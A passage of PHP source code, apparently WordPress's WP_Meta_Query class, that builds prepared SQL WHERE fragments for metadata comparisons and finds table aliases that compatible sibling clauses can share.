'/[,\s]+/', $meta_value ); } } elseif ( is_string( $meta_value ) ) { $meta_value = trim( $meta_value ); } switch ( $meta_compare ) { case 'IN': case 'NOT IN': $meta_compare_string = '(' . substr( str_repeat( ',%s', count( $meta_value ) ), 1 ) . ')'; $where = $wpdb->prepare( $meta_compare_string, $meta_value ); break; case 'BETWEEN': case 'NOT BETWEEN': $where = $wpdb->prepare( '%s AND %s', $meta_value[0], $meta_value[1] ); break; case 'LIKE': case 'NOT LIKE': $meta_value = '%' . $wpdb->esc_like( $meta_value ) . '%'; $where = $wpdb->prepare( '%s', $meta_value ); break; // EXISTS with a value is interpreted as '='. case 'EXISTS': $meta_compare = '='; $where = $wpdb->prepare( '%s', $meta_value ); break; // 'value' is ignored for NOT EXISTS. case 'NOT EXISTS': $where = ''; break; default: $where = $wpdb->prepare( '%s', $meta_value ); break; } if ( $where ) { if ( 'CHAR' === $meta_type ) { $sql_chunks['where'][] = "$alias.meta_value {$meta_compare} {$where}"; } else { $sql_chunks['where'][] = "CAST($alias.meta_value AS {$meta_type}) {$meta_compare} {$where}"; } } } /* * Multiple WHERE clauses (for meta_key and meta_value) should * be joined in parentheses. */ if ( 1 < count( $sql_chunks['where'] ) ) { $sql_chunks['where'] = array( '( ' . implode( ' AND ', $sql_chunks['where'] ) . ' )' ); } return $sql_chunks; } /** * Gets a flattened list of sanitized meta clauses. * * This array should be used for clause lookup, as when the table alias and CAST type must be determined for * a value of 'orderby' corresponding to a meta clause. * * @since 4.2.0 * * @return array Meta clauses. */ public function get_clauses() { return $this->clauses; } /** * Identifies an existing table alias that is compatible with the current * query clause. * * We avoid unnecessary table joins by allowing each clause to look for * an existing table alias that is compatible with the query that it * needs to perform. * * An existing alias is compatible if (a) it is a sibling of `$clause` * (ie, it's under the scope of the same relation), and (b) the combination * of operator and relation between the clauses allows for a shared table join. * In the case of WP_Meta_Query, this only applies to 'IN' clauses that are * connected by the relation 'OR'. * * @since 4.1.0 * * @param array $clause Query clause. * @param array $parent_query Parent query of $clause. * @return string|false Table alias if found, otherwise false. */ protected function find_compatible_table_alias( $clause, $parent_query ) { $alias = false; foreach ( $parent_query as $sibling ) { // If the sibling has no alias yet, there's nothing to check. if ( empty( $sibling['alias'] ) ) { continue; } // We're only interested in siblings that are first-order clauses. if ( ! is_array( $sibling ) || ! $this->is_first_order_clause( $sibling ) ) { continue; } $compatible_compares = array(); // Clauses connected by OR can share joins as long as they have "positive" operators. if ( 'OR' === $parent_query['relation'] ) { $compatible_compares = array( '=', 'IN', 'BETWEEN', 'LIKE', 'REGEXP', 'RLIKE', '>', '>=', '<', '<=' ); // Clauses joined by AND with "negative" operators share a join only if they also share a key. } elseif ( isset( $sibling['key'] ) && isset( $clause['key'] ) && $sibling['key'] === $clause['key'] ) { $compatible_compares = array( '!=', 'NOT IN', 'NOT LIKE' ); } $clause_compare = strtoupper( $clause['compare'] ); $sibling_compare = strtoupper( $sibling['compare'] ); if ( in_array( $clause_compare, $compatible_compares, true ) && in_array( $sibling_compare, $compatible_compares, true ) ) { $alias = preg_replace( '/\W/', '_', $sibling['alias'] ); break; } } /** * Filters the table alias identified as compatible with the current clause. * * @since 4.1.0 * * @param string|false $alias Table alias, or false if none was found. * @param array $clause First-order query clause. * @param array $parent_query Parent of $clause. * @param WP_Meta_Query $query WP_Meta_Query object. */ return apply_filters( 'meta_query_find_compatible_table_alias', $alias, $clause, $parent_query, $this ); } /** * Checks whether the current query has any OR relations. * * In some cases, the presence of an OR relation somewhere in the query will require * the use of a `DISTINCT` or `GROUP BY` keyword in the `SELECT` clause. The current * method can be used in these cases to determine whether such a clause is necessary. * * @since 4.3.0 * * @return bool True if the query contains any `OR` relations, otherwise false. */ public function has_or_relation() { return $this->has_or_relation; } }